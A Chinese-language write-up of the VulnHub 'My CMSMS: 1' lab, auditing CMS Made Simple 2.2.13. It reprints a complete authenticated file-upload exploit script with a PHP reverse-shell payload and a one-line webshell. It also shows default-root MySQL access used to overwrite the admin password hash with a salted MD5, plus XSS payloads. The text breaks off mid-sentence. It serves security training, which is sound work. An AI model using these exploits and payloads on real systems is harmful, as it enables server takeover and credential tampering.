目录
涉及知识点
-
Mycmscms代码审计
-
漏洞脚本利用
-
MD5加盐密码
-
文件上传后缀名绕过
-
XSS漏洞代码审计
-
命令执行漏洞审计
环境来源
vulnhub靶机My CMSMS: 1 ~ VulnHub
nmap -sV -A -p- 192.168.137.241
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-28 23:17 EDT
Nmap scan report for mycmsms.mshome.net (192.168.137.241)
Host is up (0.00046s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 27:21:9e:b5:39:63:e9:1f:2c:b2:6b:d3:3a:5f:31:7b (RSA)
| 256 bf:90:8a:a5:d7:e5:de:89:e6:1a:36:a1:93:40:18:57 (ECDSA)
|_ 256 95:1f:32:95:78:08:50:45:cd:8c:7c:71:4a:d4:6c:1c (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Home - My CMS
|_http-generator: CMS Made Simple - Copyright (C) 2004-2020. All rights reserved.
3306/tcp open mysql MySQL 8.0.19
| ssl-cert: Subject: commonName=MySQL_Server_8.0.19_Auto_Generated_Server_Certificate
| Not valid before: 2020-03-25T09:30:14
|_Not valid after: 2030-03-23T09:30:14
|_ssl-date: TLS randomness does not represent time
| mysql-info:
| Protocol: 10
| Version: 8.0.19
| Thread ID: 42
| Capabilities flags: 65535
| Some Capabilities: ODBCClient, ConnectWithDatabase, SupportsLoadDataLocal, LongPassword, SupportsCompression, Speaks41ProtocolNew, Speaks41ProtocolOld, DontAllowDatabaseTableColumn, IgnoreSigpipes, InteractiveClient, LongColumnFlag, SwitchToSSLAfterHandshake, SupportsTransactions, IgnoreSpaceBeforeParenthesis, FoundRows, Support41Auth, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
| Status: Autocommit
| Salt: \x7F\x01"hyXs&NgUY\x05s%Ebxd\x1B
|_ Auth Plugin Name: mysql_native_password
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
|_ HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.92%I=7%D=4/28%Time=644C8C55%P=x86_64-pc-linux-gnu%r(N
SF:ULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOp
SF:tions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVers
SF:ionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2
SF:B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fI
SF:nvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")
SF:%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01
SF:\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"
SF:\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\
SF:x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY0
SF:00")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPOptions
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x
SF:05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,"
SF:\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1
SF:a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000
SF:")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\0\0
SF:\0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r
SF:(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0");
MAC Address: 08:00:27:DA:CF:DD (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.46 ms mycmsms.mshome.net (192.168.137.241)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.48 seconds
nmap扫描发现了主机端口的80 与3306mysql服务
whatweb指纹信息
使用whatweb 探测网站的指纹信息
whatweb http://192.168.137.241/
http://192.168.137.241/ [200 OK] Apache[2.4.38], CMS-Made-Simple[2.2.13], Cookies[CMSSESSID2a2f83428536], CountryRESERVED, HTML5, HTTPServerDebian Linux, IP[192.168.137.241], JQuery[1.11.1], MetaGenerator[CMS Made Simple - Copyright (C) 2004-2020. All rights reserved.], Script[text/javascript], Title[Home - My CMS]
MyCms是一款基于Laravel开发的开源免费的自媒体博客CMS系统,适用于个人网站及企业网站开发使用,也是市面上为数不多提供API接口的CMS其中一员。MyCms基于Apache2.0开源协议发布,免费且不限制商业使用。 [百度百科]
扫描结果来看 CMS-Made-Simple版本为[2.2.13] 使用searchsploit 检索该CMS的历史漏洞
searchsploit漏洞检索
searchsploit CMS Made Simple
Exploit Title | Path
CMS Made Simple (CMSMS) Showtime2 - File Upload Remote Code Execution (Metasploit) | php/remote/46627.rb
CMS Made Simple 0.10 - 'index.php' Cross-Site Scripting | php/webapps/26298.txt
CMS Made Simple 0.10 - 'Lang.php' Remote File Inclusion | php/webapps/26217.html
CMS Made Simple 1.0.2 - 'SearchInput' Cross-Site Scripting | php/webapps/29272.txt
CMS Made Simple 1.0.5 - 'Stylesheet.php' SQL Injection | php/webapps/29941.txt
CMS Made Simple 1.11.10 - Multiple Cross-Site Scripting Vulnerabilities | php/webapps/32668.txt
CMS Made Simple 1.11.9 - Multiple Vulnerabilities | php/webapps/43889.txt
CMS Made Simple 1.2 - Remote Code Execution | php/webapps/4442.txt
CMS Made Simple 1.2.2 Module TinyMCE - SQL Injection | php/webapps/4810.txt
CMS Made Simple 1.2.4 Module FileManager - Arbitrary File Upload | php/webapps/5600.php
CMS Made Simple 1.4.1 - Local File Inclusion | php/webapps/7285.txt
CMS Made Simple 1.6.2 - Local File Disclosure | php/webapps/9407.txt
CMS Made Simple 1.6.6 - Local File Inclusion / Cross-Site Scripting | php/webapps/33643.txt
CMS Made Simple 1.6.6 - Multiple Vulnerabilities | php/webapps/11424.txt
CMS Made Simple 1.7 - Cross-Site Request Forgery | php/webapps/12009.html
CMS Made Simple 1.8 - 'default_cms_lang' Local File Inclusion | php/webapps/34299.py
CMS Made Simple 1.x - Cross-Site Scripting / Cross-Site Request Forgery | php/webapps/34068.html
CMS Made Simple 2.1.6 - 'cntnt01detailtemplate' Server-Side Template Injection | php/webapps/48944.py
CMS Made Simple 2.1.6 - Multiple Vulnerabilities | php/webapps/41997.txt
CMS Made Simple 2.1.6 - Remote Code Execution | php/webapps/44192.txt
CMS Made Simple 2.2.14 - Arbitrary File Upload (Authenticated) | php/webapps/48779.py
CMS Made Simple 2.2.14 - Authenticated Arbitrary File Upload | php/webapps/48742.txt
CMS Made Simple 2.2.14 - Persistent Cross-Site Scripting (Authenticated) | php/webapps/48851.txt
CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS) | php/webapps/49793.txt
CMS Made Simple 2.2.15 - RCE (Authenticated) | php/webapps/49345.txt
CMS Made Simple 2.2.15 - Stored Cross-Site Scripting via SVG File Upload (Authenticated) | php/webapps/49199.txt
CMS Made Simple 2.2.5 - (Authenticated) Remote Code Execution | php/webapps/44976.py
CMS Made Simple 2.2.7 - (Authenticated) Remote Code Execution | php/webapps/45793.py
CMS Made Simple < 1.12.1 / < 2.1.3 - Web Server Cache Poisoning | php/webapps/39760.txt
CMS Made Simple < 2.2.10 - SQL Injection | php/webapps/46635.py
CMS Made Simple Module Antz Toolkit 1.02 - Arbitrary File Upload | php/webapps/34300.py
CMS Made Simple Module Download Manager 1.4.1 - Arbitrary File Upload | php/webapps/34298.py
CMS Made Simple Showtime2 Module 3.6.2 - (Authenticated) Arbitrary File Upload | php/webapps/46546.py
Shellcodes: No Results
由于目标网站cms是版本2.2.13,这就意味着这2.2.14 2.2.15这些版本的漏洞同样适用于低版本的2.2.13
CMS Made Simple 2.2.14 - Arbitrary File Upload (Authenticated) | php/webapps/48779.py
CMS Made Simple 2.2.14 - Authenticated Arbitrary File Upload | php/webapps/48742.txt
CMS Made Simple 2.2.14 - Persistent Cross-Site Scripting (Authenticated) | php/webapps/48851.txt
CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS) | php/webapps/49793.txt
CMS Made Simple 2.2.15 - RCE (Authenticated) | php/webapps/49345.txt
CMS Made Simple 2.2.15 - Stored Cross-Site Scripting via SVG File Upload (Authenticated) | php/webapps/49199.txt
这些漏洞无一例外都需要认证后才能利用,xss漏洞用来突破边界的可能性不高 事实上这个也需要Authenticated。
分析Arbitrary File Upload (Authenticated)
分析分析44779.py文件上传漏洞脚本,也可查看48742.txt 漏洞说明
cp /usr/share/exploitdb/exploits/php/webapps/44779.py ./
cp /usr/share/exploitdb/exploits/php/webapps/48742.txt ./
# Exploit Title: CMS Made Simple 2.2.14 - Arbitrary File Upload (Authenticated)
# Google Dork: -
# Date: 2020-07-29
# Exploit Author: Roel van Beurden
# Vendor Homepage: Open Source Content Management System : : CMS Made Simple
# Software Link: http://s3.amazonaws.com/cmsms/downloads/14793/cmsms-2.2.14-install.zip
# Version: 2.2.14
# Tested on: Linux Ubuntu 18.04
# CVE: N/A
\1. Description:
----------------------
CMS Made Simple 2.2.14 allows Authenticated Arbitrary File Upload because the File Manager does not block .ptar and .phtml files. A malicious user can perform remote code execution.
\2. Proof of Concept:
----------------------
- Create .phtml or .ptar file with malicious PHP payload;
- Upload .phtml or .ptar file in the 'File Manager' module;
- Click on the uploaded file to perform remote code execution.
3: Example payload:
----------------------
<?php system($_GET['cmd']);?>
4a: Burp request:
----------------------
GET /cmsms/uploads/rce.phtml?cmd=id HTTP/1.1
Host: 10.10.10.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: d2f3b04a992e92af78d4f451813df40fa6f4f4b4=2c462b984c95aa0a8d18f59e2dd21defb7d7e368%3A%3AeyJ1aWQiOjIsInVzZXJuYW1lIjoiUm9lbCIsImVmZl91aWQiOm51bGwsImVmZl91c2VybmFtZSI6bnVsbCwiaGFzaCI6IiQyeSQxMCQ4NS5qSy5nTTMxZmJEQmlGTXlIYlQuUUR5eFRDekpsSVFncjhOS1FMbDhBSUlIUjVYeVNJZSJ9; __c=e9ef732e78dc5a9f603; CMSSESSIDde72be53c754=71mvdcppeeunddtap69k26ia4v
Upgrade-Insecure-Requests: 1
4b: Burp response:
----------------------
HTTP/1.1 200 OK
Date: Thu, 30 Jul 2020 23:14:47 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 54
Connection: close
Content-Type: text/html; charset=UTF-8
uid=33(www-data) gid=33(www-data) groups=33(www-data)
根据48742.txt的说明我们需要创建一个后缀为.phtml or .ptar的php执行文件,上传点'File Manager' module;
cat 48779.py 漏洞利用脚本
#!/usr/bin/python3
\#-*- coding: utf-8 -*-
\# Exploit Title: CMS Made Simple 2.2.14 - Arbitrary File Upload (Authenticated)
\# Google Dork: N/A
\# Date: 2020-08-31
\# Exploit Author: Luis Noriega (@nogagmx)
\# Vendor Homepage: https://www.cmsmadesimple.org/
\# Software Link: http://s3.amazonaws.com/cmsms/downloads/14793/cmsms-2.2.14-install.zip
\# Version: 2.2.14
\# Tested on: Linux Ubuntu 18.04.4 LTS
\# CVE : N/A
\# Usage:
\# python3 exploit.py --url http://URL/cmsms/admin/login.php -u admin -p password -lhost LHOST -lport LPORT
from urllib.parse import urlparse
import requests
import argparse
import string
import random
import json
import sys
def parse_url(URL):
t = urlparse(URL)
return t.scheme+'://'+t.netloc+t.path.split('login.php')[0] + 'moduleinterface.php'
parser = argparse.ArgumentParser(description='CMS Made Simple 2.2.14 - Authenticated Arbitrary File Upload - PHP Reverse Shell')
parser.add_argument('--url', dest='URL', help='URL to admin pane </admin/login.php>', required=True)
parser.add_argument('-u', dest='USERNAME', help='Username', required=True)
parser.add_argument('-p', dest='PASSWORD', help='Password', required=True)
parser.add_argument('-lhost', dest='IP', help='The listen address', required=True)
parser.add_argument('-lport', dest='PORT', help='The listen port', required=True)
args = parser.parse_args()
login_data = {'username':"", "password":"", "loginsubmit": "Submit"}
PAYLOAD = '<?php set_time_limit (0); $VERSION = "1.0"; $ip = "%s"; $port = "%s"; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = "uname -a; w; id; /bin/bash -i"; $daemon = 0; $debug = 0; if (function_exists("pcntl_fork")) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Cannot fork"); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit("Error: Cannot setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Cannot spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>'% (args.IP,args.PORT)
FILENAME = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(5)) + '.phar'
file = {'m1_files[]': (FILENAME, PAYLOAD)}
upload_data = {"mact":"FileManager,m1_,upload,0", "__c":"", "disable_buffer":"1"}
URL_UPLOAD = parse_url(args.URL)
print("[ + ] Connection to the CMS Made Simple Admin Portal located at "+ args.URL)
print("[ + ] Using "+ args.USERNAME +":"+ args.PASSWORD); login_data['username'] = args.USERNAME; login_data['password'] = args.PASSWORD
try:
session = requests.session()
req = session.post(args.URL, data=login_data)
upload_data["__c"] = session.cookies["__c"]
print ("[ + ] %s logged successfully!"%(args.USERNAME))
response = requests.post(URL_UPLOAD, files=file, cookies=session.cookies,data=upload_data)
data = response.json()
print ("[ + ] %s file uploaded."%(FILENAME))
URL_TRIGGER = data[0]['url']
input("[ ! ] Set up your nc listener <nc -nvlp %s>, then press any to exploit.."%(args.PORT))
print ("[ + ] Pwned!!")
response = requests.get(URL_TRIGGER, cookies=session.cookies)
print ("[ + ] Bye")
except:
print ("[ x ] Something went wrong, try again.")
sys.exit(1)
对于文件上传代码漏洞脚本的审计 我们思考这几个问题?
该漏洞利用代码需要用户输入什么数据?
根据注释信息# python3 exploit.py --url http://URL/cmsms/admin/login.php -u admin -p password -lhost LHOST -lport LPORT,作者给出了我们应怎样利用该脚本。
文件上传点在那个位置?
根据代码函数parse_url 可知上传点在一个moduleinterface.php 页面内
上传pyload内容是什么?
PAYLOAD = '<?php set...就是了
文件后缀是什么?
根据代码FILENAME = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(5)) + '.phar' 知作者用的是phar后缀
MySql_3306突破
mysql默认密码登录
在信息收集中我们发现了mysql3306这个端口对外开放, 这就意味着我们可以尝试远程登录mysql 执行sql语句,修改数据库信息。
默认的mysql 登录用户和密码均为root,因此尝试使用这个用户密码登录。
mysql -h 192.168.137.241 -uroot -p
果然登录上去了
查取用户权限
在我们能执行sql语句的情况下我们可以尝试利用mysql导入导出的权限,向web目录下写入木马shell。
show global variables like '%secure_file_priv%';
很明显这条路走不通,导入导出的权限存在目录限制。
收集mysql密码信息
别忘了如果我们能登录网站,就可以利用公开的文件上传漏洞。因此查询网站的用户名密码。
MySQL [cmsms_db]> show tables;
+--------------------------------+
| Tables_in_cmsms_db |
+--------------------------------+
| cms_additional_users |
| cms_additional_users_seq |
| cms_admin_bookmarks |
| cms_admin_bookmarks_seq |
| cms_adminlog |
| cms_content |
| cms_content_props |
| cms_content_props_seq |
| cms_content_seq |
| cms_event_handler_seq |
| cms_event_handlers |
| cms_events |
| cms_events_seq |
| cms_group_perms |
| cms_group_perms_seq |
| cms_groups |
| cms_groups_seq |
| cms_layout_design_cssassoc |
| cms_layout_design_tplassoc |
| cms_layout_designs |
| cms_layout_stylesheets |
| cms_layout_templates |
| cms_layout_tpl_addusers |
| cms_layout_tpl_categories |
| cms_layout_tpl_type |
| cms_locks |
| cms_mod_cmsjobmgr |
| cms_mod_filepicker_profiles |
| cms_module_deps |
| cms_module_news |
| cms_module_news_categories |
| cms_module_news_categories_seq |
| cms_module_news_fielddefs |
| cms_module_news_fieldvals |
| cms_module_news_seq |
| cms_module_search_index |
| cms_module_search_items |
| cms_module_search_items_seq |
| cms_module_search_words |
| cms_module_smarty_plugins |
| cms_module_templates |
| cms_modules |
| cms_permissions |
| cms_permissions_seq |
| cms_routes |
| cms_siteprefs |
| cms_user_groups |
| cms_userplugins |
| cms_userplugins_seq |
| cms_userprefs |
| cms_users |
| cms_users_seq |
| cms_version |
+--------------------------------+
MySQL [cmsms_db]> select * from cms_users;
+---------+----------+----------------------------------+--------------+------------+-----------+-------------------+--------+---------------------+---------------------+
| user_id | username | password | admin_access | first_name | last_name | email | active | create_date | modified_date |
+---------+----------+----------------------------------+--------------+------------+-----------+-------------------+--------+---------------------+---------------------+
| 1 | admin | fb67c6d24e756229aab021cea7605fb3 | 1 | | | admin@mycms.local | 1 | 2020-03-25 09:38:46 | 2020-03-26 10:49:17 |
+---------+----------+----------------------------------+--------------+------------+-----------+-------------------+--------+---------------------+---------------------+
1 row in set (0.001 sec)
显然我们不知道加密前的密码字符,通过hash-identifier 或者hashid这串密文大概率为md5加密。
识别密文串
hash-identifier fb67c6d24e756229aab021cea7605fb3
└─$ hash-identifier fb67c6d24e756229aab021cea7605fb3
#########################################################################
# __ __ __ __ _ #
# /\ \/\ \ /\ \ /__ _\ /\ _ `\ #
# \ \ _\ \ _ \ \ ___ \//\ \/ \ \ \/\ \ #
# \ \ _ \ /'__
\ / ,__\ \ \ _
\ \ \ \ \ \ \ \ \ ## \ \ \ \ \/\ _\ _/_, `\ \ \ \ \ \ _\ _ \ \ _\ \ #
# \ _\ _\ ___ _\/_/ \ _\ _\ /__\ \ ____/ #
# \//\//\//\//\// \//\// \/_/ \/___/ v1.2 #
# By Zion3R #
#########################################################################
--------------------------------------------------
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
Least Possible Hashs:
[+] RAdmin v2.x
[+] NTLM
[+] MD4
[+] MD2
[+] MD5(HMAC)
[+] MD4(HMAC)
[+] MD2(HMAC)
[+] MD5(HMAC(Wordpress))
[+] Haval-128
[+] Haval-128(HMAC)
[+] RipeMD-128
[+] RipeMD-128(HMAC)
[+] SNEFRU-128
[+] SNEFRU-128(HMAC)
[+] Tiger-128
[+] Tiger-128(HMAC)
[+] md5($pass.$salt)
[+] md5($salt.$pass)
[+] md5($salt.$pass.$salt)
[+] md5($salt.$pass.$username)
[+] md5($salt.md5($pass))
[+] md5($salt.md5($pass))
[+] md5($salt.md5($pass.$salt))
[+] md5($salt.md5($pass.$salt))
[+] md5($salt.md5($salt.$pass))
[+] md5($salt.md5(md5($pass).$salt))
[+] md5($username.0.$pass)
[+] md5($username.LF.$pass)
[+] md5($username.md5($pass).$salt)
[+] md5(md5($pass))
[+] md5(md5($pass).$salt)
[+] md5(md5($pass).md5($salt))
[+] md5(md5($salt).$pass)
[+] md5(md5($salt).md5($pass))
[+] md5(md5($username.$pass).$salt)
[+] md5(md5(md5($pass)))
[+] md5(md5(md5(md5($pass))))
[+] md5(md5(md5(md5(md5($pass)))))
[+] md5(sha1($pass))
[+] md5(sha1(md5($pass)))
[+] md5(sha1(md5(sha1($pass))))
[+] md5(strtoupper(md5($pass)))
--------------------------------------------------
索性就执行sql语句直接修改md5密文了。
UPDATE cms_users SET password='md5(你的密码)' WHERE username='admin'
无论你怎么尝试最后的登录都失败了!
这中情况下 你最好审计审计代码,看看程序对用户输入的密码做了怎样的处理,比如做了其他编码,双重md5,加前缀加后缀之后再md5,这都是有可能的。所谓加盐就是这个逻辑。
Cms源码文件分析加密动作
找到该cms源码维护网站 下载我们所需要的版本
Login.php登录关键代码提取
//无关重要的代码删除了
$user = $userops->LoadUserByUsername($username, $password, TRUE, TRUE);
//调用$userops->LoadUserByUsername()方法,通过用户名和密码加载用户对象。如果用户名和密码正确且用户处于激活状态且具有管理员访问权限,则返回一个User对象,否则返回false。
if( $user ) {//登录成功后的动作}
跟进LoadUserByUsername
function LoadUserByUsername($username, $password = '', $activeonly = true, $adminaccessonly = false)
{
// note: does not use cache
$result = null;
$gCms = CmsApp::get_instance();
$db = $gCms->GetDb();
$params = array();
$where = array();
$joins = array();
$query = "SELECT u.user_id FROM ".CMS_DB_PREFIX."users u";
$where[] = 'username = ?';
$params[] = $username;
//重点放在密码上
if ($password != '') {
$where[] = 'password = ?';
$params[] = md5(get_site_preference('sitemask','').$password);
//将一个由get_site_preference('sitemask','')和$password拼接而成的字符串作为参数,调用md5()函数进行哈希。将哈希后的密码作为$params数组的元素,用于后续的SQL查询。
//最后返回了return $result;某个结果
}
跟进get_site_preference
function get_site_preference($prefname, $defaultvalue = '')
{
return cms_siteprefs::get($prefname,$defaultvalue);
}
跟进cms_siteprefs::get
/**
* A class for working with site preferences
* @package CMS
* @license GPL
* @since 1.10
* @author Robert Campbell (calguy1000@cmsmadesimple.org)
*/
final class cms_siteprefs
{
/**
* @ignore
*/
private function __construct() {}
/**
* @ignore
* @internal
*/
public static function setup()//初始化缓存到全局变量中 调用_read
{
$obj = new \CMSMS\internal\global_cachable(CLASS,function(){
return self::_read();
//obj是self::_read添加进去的
});
global_cache::add_cachable($obj);//添加到缓存
}
/**
* @ignore
* @internal
*/
private static function _read(){
$db = CmsApp::get_instance()->GetDb();
if( !$db ) return;//连接数据库
$query = 'SELECT sitepref_name,sitepref_value FROM '.CMS_DB_PREFIX.'siteprefs';//字段
//select sitepref_name,sitepref_value from cms_siteprefs
/*CMS_DB_PREFIX 是一个常量,通常用于定义内容管理系统(CMS)中所使用的数据库表名前缀。在许多CMS系统中,为了避免数据库表名冲突,会在表名前添加一个特定的前缀,以便区分不同的表。
例如,如果CMS_DB_PREFIX被定义为 "cms_",那么在CMS系统中,数据库表名可能会类似于 "cms_users"、"cms_posts"、"cms_comments" 等等。这样做的好处是可以方便地在同一个数据库中管理多个CMS系统,而不会出现表名冲突的问题。
在CMS系统中,通常会将 CMS_DB_PREFIX 定义在一个配置文件中,以便在整个系统中都可以使用*/
$dbr = $db->GetArray($query);//注意执行sql语句了
if( is_array($dbr) ) {
$_prefs = array();
for( $i = 0, $n = count($dbr); $i < $n; $i++ ) {
$row = $dbr[$i];
$_prefs[$row['sitepref_name']] = $row['sitepref_value'];
}
return $_prefs;
}
}
/**
* Retrieve a site preference
* @param string $key The preference name
* @param string $dflt Optional default value
* @return string
*/
public static function get($key,$dflt = ''){
$prefs = global_cache::get(CLASS);//从缓冲中取出
if( isset($prefs[$key]) ) return $prefs[$key];
//返回的key就是我们要找的关键salt
//而key是我们输入的sitemask 相当于在prefs中有key这个键吗?如果有返回该键值
return $dflt;
}
如此找到slat
MySQL [cmsms_db]> select sitepref_name,sitepref_value from cms_siteprefs where sitepref_name='sitemask';
+---------------+------------------+
| sitepref_name | sitepref_value |
+---------------+------------------+
| sitemask | a235561351813137 |
+---------------+------------------+
1 row in set (0.001 sec)
准备 更改admin用户的md5值;
得出md5值: c8915ffe6ec89bb864d44fa09d36b16e
准备sql语句
UPDATE cms_users SET password='c8915ffe6ec89bb864d44fa09d36b16e' WHERE username='admin'
验证是否能正确登录
Cms源码文件文件上传漏洞审计
文件上传验证
利用现成的利用脚本
python3 48779.py --url http://192.168.137.241/admin/login.php -u admin -p 123 -lhost 192.168.137.84 -lport 4444
nc -lnvp 4444
文件上传漏洞源码审计
GET请求跟踪参数
//?mact=FileManager,m1_,defaultadmin,0&__c=fb3f271d8f7eca66f5a
if (isset($_REQUEST['mact'])) {
$ary = explode(',', cms_htmlentities($_REQUEST['mact']), 4);
$module = (isset($ary[0])?$ary[0]:'');
$id = (isset($ary[1])?$ary[1]:'m1_');
$action = (isset($ary[2])?$ary[2]:'');
}
/*
$_REQUEST['mact']是一个包含在HTTP请求中的变量,它可能包含一个用逗号分隔的字符串。
explode()函数将该字符串拆分为一个数组,其中每个元素都是原字符串中的一个子串。
cms_htmlentities()函数将数组中的每个元素进行HTML实体编码,以防止跨站点脚本攻击
*/
$modinst = ModuleOperations::get_instance()->get_module_instance($module);
//加载模块
if( !$modinst ) {//加载失败
trigger_error('Module '.$module.' not found in memory. This could indicate that the module is in need of upgrade or that there are other problems');
redirect('index.php'.$urlext);
}
找到调用的模块
protected function is_file_acceptable( $file )
{
$config = \cms_config::get_instance();
if( !$config['developer_mode'] ) {
$ext = strtolower(substr(strrchr($file, '.'), 1));
if( startswith($ext,'php') || endswith($ext,'php') ) return FALSE;
}
return TRUE;
}
可以看出 分割后只匹配了php 没有考虑到phtml phar 文件后缀格式。
Cms源码文件xss漏洞审计
查看漏洞完整路径
searchsploit -p php/webapps/49345.txt
# Exploit Title: CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS)
# Date: 2021/03/19
# Exploit Author: bt0
# Vendor Homepage: Open Source Content Management System : : CMS Made Simple
# Software Link: https://s3.amazonaws.com/cmsms/downloads/14832/cmsms-2.2.15-install.zip
# Version: 2.2.15
# CVE: CVE-2021-28935 CVE -CVE-2021-28935
-----------------------------------------------------------
If you log into Admin panel and open My Preferences you could be able to exploit XSS in title field
Reflected XSS in /admin/addbookmark.php
Some payloads that works:
"><script>prompt(1)</script><"
"><script>alert(1)</script><"
63311';alert(1)//812
//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
------------------------------------------------------------
找到页面去验证
js脚本执行弹框了
还有xss漏洞点
└─$ cat 48851.txt
# Exploit Title: CMS Made Simple 2.2.14 - Persistent Cross-Site Scripting (Authenticated)
# Google Dork: -
# Date: 2020-09-29
# Exploit Author: Roel van Beurden
# Vendor Homepage: Open Source Content Management System : : CMS Made Simple
# Software Link: http://s3.amazonaws.com/cmsms/downloads/14793/cmsms-2.2.14-install.zip
# Version: 2.2.14
# Tested on: Linux Ubuntu 18.04
# CVE: CVE-2020-24860
\1. Description:
----------------------
CMS Made Simple 2.2.14 allows an authenticated user with access to the Content Manager to edit content and put persistent XSS payload in the affected text fields. The user
